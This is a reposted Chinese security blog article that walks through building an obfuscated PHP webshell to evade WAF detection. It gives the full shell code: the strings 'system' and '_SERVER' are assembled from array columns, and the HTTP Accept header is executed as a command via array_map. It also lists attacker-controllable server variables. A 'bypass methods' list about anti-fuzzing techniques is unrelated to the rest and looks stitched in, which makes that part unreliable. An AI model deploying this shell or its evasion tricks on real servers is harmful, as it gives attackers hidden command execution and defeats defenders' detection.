点击上方[蓝字],关注我们
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。
文章正文
最近也是研究起了绕过webshell的学习,说实话绕过waf很不容易,因为对webshell研究少,底层也少,只能目前用逻辑和混淆了
webshell检测机制
对于全局变量
-
• $_GET
-
• $_POST
-
• $_COOKIE
-
• $_REQUEST
-
• $_SERVER
其中的某些参数可控 -
• $_FILE
-
• $GLOBALS
特殊字符
绕过方法
-
1. SpeedBump, which amplifies the slowdown in normal executions by hundreds of times to the fuzzed execution 在一些非预期的错误处理路径注入延迟原语,影响Fuzz执行速度 -
2. BranchTrap, interfering with feedback logic by hiding paths and polluting coverage maps。
插入大量对输入敏感的分支,使得Fuzz处理不得不浪费大量的资源处理这些无用的分支分析中 -
3. AntiHybrid, hindering taint-analysis and symbolic execution。
作者将原始程序中的explicit data-flow转换为implicit data-flow,以阻碍污染分析。
具体案例
根据一个案例来介绍一下机制
比如今天构造的一个webshell
<?php
$records = array(
array(
'id' => "array",
'first_name' => '_',
'last_name' => 'sy',
),
array(
'id' => "_",
'first_name' => 'SER',
'last_name' => 's',
),
array(
'id' => "ma",
'first_name' => 'VE',
'last_name' => 't',
),
array(
'id' => "p",
'first_name' => 'R',
'last_name' => 'em',
)
);
$last_names = array_column($records, 'last_name');
$first_names = array_column($records, 'first_name');
$a="123123123123123";
parse_str($a=implode('',(array_column($records, 'id'))), $aarryy);
$string1 = implode('', $last_names);
$string2 = implode('', $first_names);
$array=array();
array_push($array,$string1,$string2);
if(1===$_GET[1]){
$c=123;
}else{
$c=$$string1['HTTP_ACCEPT'];
}
if(intval($_GET[1])>1){
$f=array("nhao"=>$c);
extract($f);
}
array_push($array,$nhao);
if("a"===$a($array[0],array($array[rand(0,2)]))){
echo 1;
}
可以看见逻辑还是比较复杂的,这里简单介绍一下这些函数的作用
array_column
(PHP 5 >= 5.5.0, PHP 7, PHP 8)
array_column — 返回输入数组中指定列的值
array_column() 返回 array
中键名为 column_key
的一列值。如果指定了可选参数 index_key
,则使用输入数组中 index_key
列的值将作为返回数组中对应值的键。
<?php
// 表示从数据库返回的记录集的数组
$records = array(
array(
'id' => 2135,
'first_name' => 'John',
'last_name' => 'Doe',
),
array(
'id' => 3245,
'first_name' => 'Sally',
'last_name' => 'Smith',
),
array(
'id' => 5342,
'first_name' => 'Jane',
'last_name' => 'Jones',
),
array(
'id' => 5623,
'first_name' => 'Peter',
'last_name' => 'Doe',
)
);
$first_names = array_column($records, 'first_name');
print_r($first_names);
?>
所以我这里就使用这个函数来构造我们的恶意代码,比如system
但是首先只是取出了数组的值,我们还需要使用一些方法把他们拼接在一起
implode
implode — 用字符串连接数组元素
返回一个包含所有数组元素并且顺序相同的字符串, 每个元素之间有 separator 分隔。
<?php
$array = ['lastname', 'email', 'phone'];
var_dump(implode(",", $array)); // string(20) "lastname,email,phone"
// Empty string when using an empty array:
var_dump(implode('hello', [])); // string(0) ""
// The separator is optional:
var_dump(implode(['a', 'b', 'c'])); // string(3) "abc"
?>
那我们这里的思路就是一’‘去拼接在一起
这样我们的恶意字符就构造出来了
然后我还使用parse_str混淆了一手变量
一开始把$a设置为其他值
parse_str — 将字符串解析成多个变量
<?php
$str = "first=value&arr[]=foo+bar&arr[]=baz";
parse_str($str, $output);
echo $output['first']; // value
echo $output['arr'][0]; // foo bar
echo $output['arr'][1]; // baz
parse_str($str);
echo $first; // value
echo $arr[0]; // foo bar
echo $arr[1]; // baz
?>
经过解析后
然后使用array_push把内容放在数组中
然后再解释一下
$$string1['HTTP_ACCEPT'];
这个就是$_SERVER['HTTP_ACCEPT']
因为我们需要控制参数的内容,而_SERVER中变量还是很多的
PATH 系统环境变量的值,包含了多个目录的路径,用于指定可执行文件的搜索路径。
SYSTEMROOT Windows系统根目录的路径。
COMSPEC 默认命令行解释器的路径。
PATHEXT 可执行文件扩展名的列表。
WINDIR Windows系统目录的路径。
PHPRC PHP配置文件(php.ini)所在的目录。
SCRIPT_NAME 当前脚本的文件名。
REQUEST_URI 请求的URI。
QUERY_STRING 请求的查询字符串部分。
REQUEST_METHOD 请求的HTTP方法。
SERVER_PROTOCOL 服务器使用的HTTP协议版本。
REMOTE_PORT 客户端的端口号。
SCRIPT_FILENAME 当前脚本的绝对文件路径。
SERVER_ADMIN 服务器管理员的电子邮件地址。
CONTEXT_DOCUMENT_ROOT 当前环境下的文档根目录。
CONTEXT_PREFIX 当前环境的URL路径前缀。
REQUEST_SCHEME 请求使用的协议。
DOCUMENT_ROOT 当前脚本的文档根目录。
REMOTE_ADDR 客户端的IP地址。
SERVER_PORT 服务器监听的端口号。
SERVER_ADDR 服务器的IP地址。
SERVER_NAME 服务器的主机名。
SERVER_SOFTWARE 服务器软件和版本信息。
SERVER_SIGNATURE 服务器签名字符串。
HTTP_COOKIE 请求中的Cookie信息。
HTTP_ACCEPT_LANGUAGE 请求中的客户端语言偏好。
HTTP_ACCEPT_ENCODING 请求中的客户端编码偏好。
HTTP_SEC_FETCH_DEST 请求中的Fetch请求目标。
HTTP_SEC_FETCH_USER 请求中的Fetch请求用户状态。
HTTP_SEC_FETCH_MODE 请求中的Fetch请求模式。
HTTP_SEC_FETCH_SITE 请求中的Fetch请求站点。
HTTP_ACCEPT 请求中的Accept头字段。
HTTP_USER_AGENT 请求中的用户代理(浏览器)信息。
HTTP_UPGRADE_INSECURE_REQUESTS 请求中的安全升级请求。
HTTP_SEC_CH_UA_PLATFORM 请求中的用户代理平台。
HTTP_SEC_CH_UA_MOBILE 请求中的用户代理移动状态。
HTTP_SEC_CH_UA 请求中的用户代理信息。
HTTP_CACHE_CONTROL 请求中的缓存控制头字段。
HTTP_CONNECTION 请求中的连接类型。
HTTP_HOST 请求中的主机名
其中只需要找能够控制的,就可以用来传入参数了
然后又使用 extract 来混淆变量
extract — 从数组中将变量导入到当前的符号表
<?php
/* 假定 $var_array 是 wddx_deserialize 返回的数组*/
$size = "large";
$var_array = array(
"color" => "blue",
"size" => "medium",
"shape" => "sphere"
);
extract($var_array, EXTR_PREFIX_SAME, "wddx");
echo "$color, $size, $shape, $wddx_sizen";
?>
可以发现已经混淆了
最后使用的是
array_map
去动态执行命令
array_map — 为数组的每个元素应用回调函数
<?php
function cube($n)
{
return ($n * $n * $n);
}
$a = [1, 2, 3, 4, 5];
$b = array_map('cube', $a);
print_r($b);
?>
可以发现第一个参数是接受函数的
最后效果如下
文章来源:https://xz.aliyun.com/t/15857
考证咨询
最优惠报考各类安全证书(NISP/CISP/CISSP/PTE/PTS/PMP/IRE等....),后台回复"好友位"咨询。
技术交流
原文始发于微信公众号(Z2O安全攻防):基于增加复杂逻辑数组混淆的webshell绕过
原文始发于微信公众号(Z2O安全攻防):基于增加复杂逻辑数组混淆的webshell绕过
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论